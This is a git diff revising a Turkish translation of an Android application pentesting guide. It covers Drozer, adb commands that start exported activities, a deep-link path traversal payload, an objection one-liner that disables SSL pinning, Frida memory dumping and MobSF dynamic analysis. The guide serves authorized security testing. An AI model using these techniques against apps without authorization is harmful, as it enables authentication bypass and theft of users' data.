Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiricilerin yanlış uygulaması nedeniyle hassas verilerin **sızmasına** neden olabilir. Potansiyel veri sızıntılarını belirlemek için, **uygulamanın trafiğini kesmek** ve üçüncü taraf hizmetlere gönderilen hassas bilgileri kontrol etmek önerilir.
|
||||
|
||||
### SQLite DB'leri
|
||||
|
||||
Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\
|
||||
Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanacaktır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\
|
||||
Veritabanları `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır.
|
||||
|
||||
Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi** bulabiliyorsanız, bu hala bir **zayıflıktır**.
|
||||
Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi bulabiliyorsanız**, bu hala bir **zayıflıktır**.
|
||||
|
||||
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin.
|
||||
|
||||
### Drozer (Sömürü Faaliyetleri, İçerik Sağlayıcılar ve Hizmetler)
|
||||
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği **her şeyi** yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat yapılmış aktiviteleri, ihracat yapılmış hizmetleri ve İçerik Sağlayıcıları** sömürmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\
|
||||
Drozer, **dışa aktarılan faaliyetleri, dışa aktarılan hizmetleri ve İçerik Sağlayıcıları** sömürmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
|
||||
### İhracat Yapılmış Aktiviteleri Sömürme
|
||||
### Dışa Aktarılan Faaliyetleri Sömürme
|
||||
|
||||
[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın.
|
||||
[**Bir Android Faaliyeti'nin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ayrıca, bir faaliyetin kodunun **`onCreate`** metodunda başladığını unutmayın.
|
||||
|
||||
**Yetkilendirme atlatma**
|
||||
|
||||
Bir Aktivite ihracat yapıldığında, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edilmişse, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
Bir Faaliyet dışa aktarıldığında, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir faaliyet **dışa aktarıldıysa**, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz**.
|
||||
|
||||
[**Drozer ile ihracat yapılmış aktiviteleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#activities)
|
||||
[**Drozer ile dışa aktarılan faaliyetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#activities)
|
||||
|
||||
Ayrıca adb'den ihracat yapılmış bir aktivite başlatabilirsiniz:
|
||||
Ayrıca adb'den dışa aktarılan bir faaliyeti başlatabilirsiniz:
|
||||
|
||||
* Paket Adı com.example.demo
|
||||
* İhracat Yapılmış Aktivite Adı com.example.test.MainActivity
|
||||
* Dışa Aktarılan Faaliyet Adı com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
|
@ -376,7 +376,7 @@ Bir yetkilendirme atlamanın her zaman bir zafiyet olmadığını unutmayın, bu
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
Eğer tapjacking önlenmezse, dışa aktarılmış aktiviteyi **kullanıcının beklenmedik eylemler gerçekleştirmesi** için kötüye kullanabilirsiniz. Daha fazla bilgi için [**Tapjacking nedir, bağlantıyı takip edin**](./#tapjacking).
|
||||
Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcının beklenmedik eylemler gerçekleştirmesi için** kötüye kullanabilirsiniz. Daha fazla bilgi için [**tapjacking nedir, bağlantıyı takip edin**](./#tapjacking).
|
||||
|
||||
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
|
||||
|
||||
|
@ -387,10 +387,10 @@ Eğer tapjacking önlenmezse, dışa aktarılmış aktiviteyi **kullanıcının
|
|||
|
||||
### **Hizmetleri Sömürme**
|
||||
|
||||
[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#services)
|
||||
|
||||
### **Yayın Alıcılarını Sömürme**
|
||||
|
@ -412,7 +412,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
_Paket adını **atlayabileceğinizi** unutmayın ve mobil, o bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
|
||||
_Paket adını **atlayabileceğinizi** unutmayın, mobil otomatik olarak o bağlantıyı açması gereken uygulamayı arayacaktır._
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```markup
|
||||
|
@ -425,17 +425,17 @@ _Paket adını **atlayabileceğinizi** unutmayın ve mobil, o bağlantıyı açm
|
|||
|
||||
**Kod çalıştırıldı**
|
||||
|
||||
Uygulamada **çalıştırılacak kodu bulmak için**, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
|
||||
**Uygulamada çalıştırılacak kodu bulmak için**, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
|
||||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
**Hassas bilgi**
|
||||
**Hassas bilgiler**
|
||||
|
||||
Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas veri (şifreler gibi) almadığından emin olun**, çünkü başka bir uygulama **derin bağlantıyı taklit edebilir ve bu veriyi çalabilir!**
|
||||
Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas veriler (şifreler gibi) almadığından emin olun**, çünkü başka bir uygulama **derin bağlantıyı taklit edebilir ve bu verileri çalabilir!**
|
||||
|
||||
**Yolda parametreler**
|
||||
|
||||
**URL'nin yolunda bir parametre kullanılıp kullanılmadığını da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Daha fazla örnek**
|
||||
|
@ -444,9 +444,9 @@ Bağlantılar hakkında [ilginç bir hata ödül raporu](https://hackerone.com/r
|
|||
|
||||
### Taşıma Katmanı İncelemesi ve Doğrulama Hataları
|
||||
|
||||
* **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi yaygındır veya bazı durumlarda HTTP bağlantılarına geri dönmesi.
|
||||
* **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
* **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
|
||||
* **Sertifikalar her zaman doğru bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
|
||||
* **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortası (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
|
||||
* **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıkların ele geçirmesinden korumaz.
|
||||
|
||||
#### Sertifika Doğrulama
|
||||
|
||||
|
@ -454,7 +454,7 @@ Bağlantılar hakkında [ilginç bir hata ödül raporu](https://hackerone.com/r
|
|||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir.
|
||||
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgileri işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir.
|
||||
|
||||
#### Trafik İncelemesi
|
||||
|
||||
|
@ -466,9 +466,9 @@ HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek**
|
|||
|
||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
|
||||
|
||||
* Otomatik olarak **apk'yi değiştirerek** SSLPinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i aşmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
* **apk'yi otomatik olarak değiştirerek** SSL Pinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i aşmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
* Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma kılavuzunuz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* **SSL Pinning'i otomatik olarak aşmayı** denemek için [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak aşmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
* Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
|
@ -479,7 +479,7 @@ Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıfl
|
|||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik bir enstrümantasyon aracıdır.\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
|
||||
Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz.
|
||||
|
||||
* Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/)
|
||||
|
@ -501,7 +501,7 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Bu, belleği ./dump klasörüne dökecektir ve orada şunlarla grep yapabilirsiniz:
|
||||
Bu, belleği ./dump klasörüne dökecektir ve burada şunlarla grep yapabilirsiniz:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -511,7 +511,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Keystore'daki Hassas Veriler**
|
||||
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada **hassas verileri düz metin olarak** saklama eğiliminde olduğundan, pentestler bunun için root kullanıcı olarak kontrol edilmelidir veya cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklarla **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığı için pentestler, bu verileri çalabilecek fiziksel erişimi olan birinin veya root kullanıcısının kontrolünde kontrol edilmelidir.
|
||||
|
||||
Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir.
|
||||
|
||||
|
@ -547,30 +547,30 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı
|
|||
|
||||
### Intent Enjeksiyonu
|
||||
|
||||
Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
|
||||
Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar, bu da riskli olabilir.
|
||||
|
||||
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
|
||||
### Temel Çıkarımlar
|
||||
|
||||
* **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
|
||||
* Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri gerçekleştirmek için yönlendirilebilir.
|
||||
* Sömürüler, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri gerçekleştirmek için yönlendirilebilir.
|
||||
* Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
|
||||
* `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
|
||||
|
||||
### Android İstemci Tarafı Enjeksiyonları ve Diğerleri
|
||||
|
||||
Bu tür zafiyetler hakkında webden haberdar olmalısınız. Bir Android uygulamasında bu zafiyetlere karşı özellikle dikkatli olmalısınız:
|
||||
Muhtemelen bu tür zafiyetler hakkında Web'den bilgi sahibisinizdir. Bir Android uygulamasında bu zafiyetlere karşı özellikle dikkatli olmalısınız:
|
||||
|
||||
* **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun.
|
||||
* **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Buradan daha fazla bilgi](webview-attacks.md#javascript-enabled).
|
||||
* **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Buradan daha fazla bilgi](webview-attacks.md#javascript-enabled).
|
||||
* **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışı). [Buradan daha fazla bilgi](webview-attacks.md#javascript-enabled).
|
||||
* **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [Buradan daha fazla bilgi](webview-attacks.md#javascript-enabled).
|
||||
* **Sonsuz çerezler**: Birçok durumda, android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir.
|
||||
* [**Çerezlerde Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve hata ödülü avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -581,7 +581,7 @@ Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun.
|
|||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın.
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan hata ödülleri ve kritik platform güncellemeleri hakkında bilgi sahibi olun.
|
||||
Yeni hata ödülleri ve önemli platform güncellemeleri hakkında bilgi sahibi olun.
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
|
@ -593,7 +593,7 @@ Yeni başlayan hata ödülleri ve kritik platform güncellemeleri hakkında bilg
|
|||
|
||||
![](<../../.gitbook/assets/image (866).png>)
|
||||
|
||||
**Uygulamanın zafiyet değerlendirmesi**, güzel bir web tabanlı ön yüz kullanarak yapılır. Ayrıca dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir).
|
||||
**Uygulamanın zafiyet değerlendirmesi**, güzel bir web tabanlı ön yüz kullanarak yapılır. Dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
|
@ -610,16 +610,16 @@ MobSF ayrıca **diff/Compare** analizine ve **VirusTotal** entegrasyonuna izin v
|
|||
|
||||
* **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir.
|
||||
* **HTTPS trafiğini yakalama**
|
||||
* **Runtime** **bilgilerini elde etmek için Frida kullanma**
|
||||
* **Frida** kullanarak **çalışma zamanı** **bilgilerini** elde etme
|
||||
|
||||
Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başlatacak** ve trafiği **yakalamak** için global **proxy** ayarlarını ayarlayacaktır. Sadece test edilen uygulamadan gelen trafiği yakalayacaktır.
|
||||
|
||||
**Frida**
|
||||
|
||||
Varsayılan olarak, SSL pinning, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri izlemek** için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri çağırabilir**, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
Varsayılan olarak, SSL pinning, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
|
||||
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
|
||||
|
||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve tüm bağlı yöntemlere yapılan çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
|
||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
|
||||
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize izin verir (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (o script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
|
||||
|
||||
![](<../../.gitbook/assets/image (419).png>)
|
||||
|
@ -627,11 +627,11 @@ MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize izin verir (Frida scr
|
|||
Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
|
||||
|
||||
* **Yüklenen Sınıfları Sayma**: Yüklenen tüm sınıfları yazdırır
|
||||
* **Dizeleri Yakalama**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
* **Dizeleri Yakalama**: Uygulama kullanılırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
|
||||
* **Dize Karşılaştırmalarını Yakalama**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir.
|
||||
* **Sınıf Yöntemlerini Sayma**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır.
|
||||
* **Sınıf Deseni Arama**: Desene göre sınıfları arama
|
||||
* **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görme). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
* **Sınıf Yöntemlerini İzleme**: **Bütün bir sınıfı izleme** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görme). Varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
|
||||
|
||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Intrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
|
||||
|
||||
|
@ -648,19 +648,19 @@ receivers
|
|||
```
|
||||
**HTTP araçları**
|
||||
|
||||
HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altında yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonunda daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
|
||||
HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
|
||||
Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz.
|
||||
MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve zafiyetleri aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz.
|
||||
|
||||
{% hint style="info" %}
|
||||
MobSF ile dinamik analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
|
||||
MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
### Inspeckage ile Yardımlı Dinamik Analiz
|
||||
|
||||
Aracı [**Inspeckage**](https://github.com/ac-pm/Inspeckage) adresinden edinebilirsiniz.\
|
||||
Bu araç, **dinamik analiz** gerçekleştirirken **uygulamada neler olduğunu** anlamanızı sağlamak için bazı **Hooks** kullanır.
|
||||
|
@ -707,7 +707,7 @@ super-analyzer {apk_file}
|
|||
|
||||
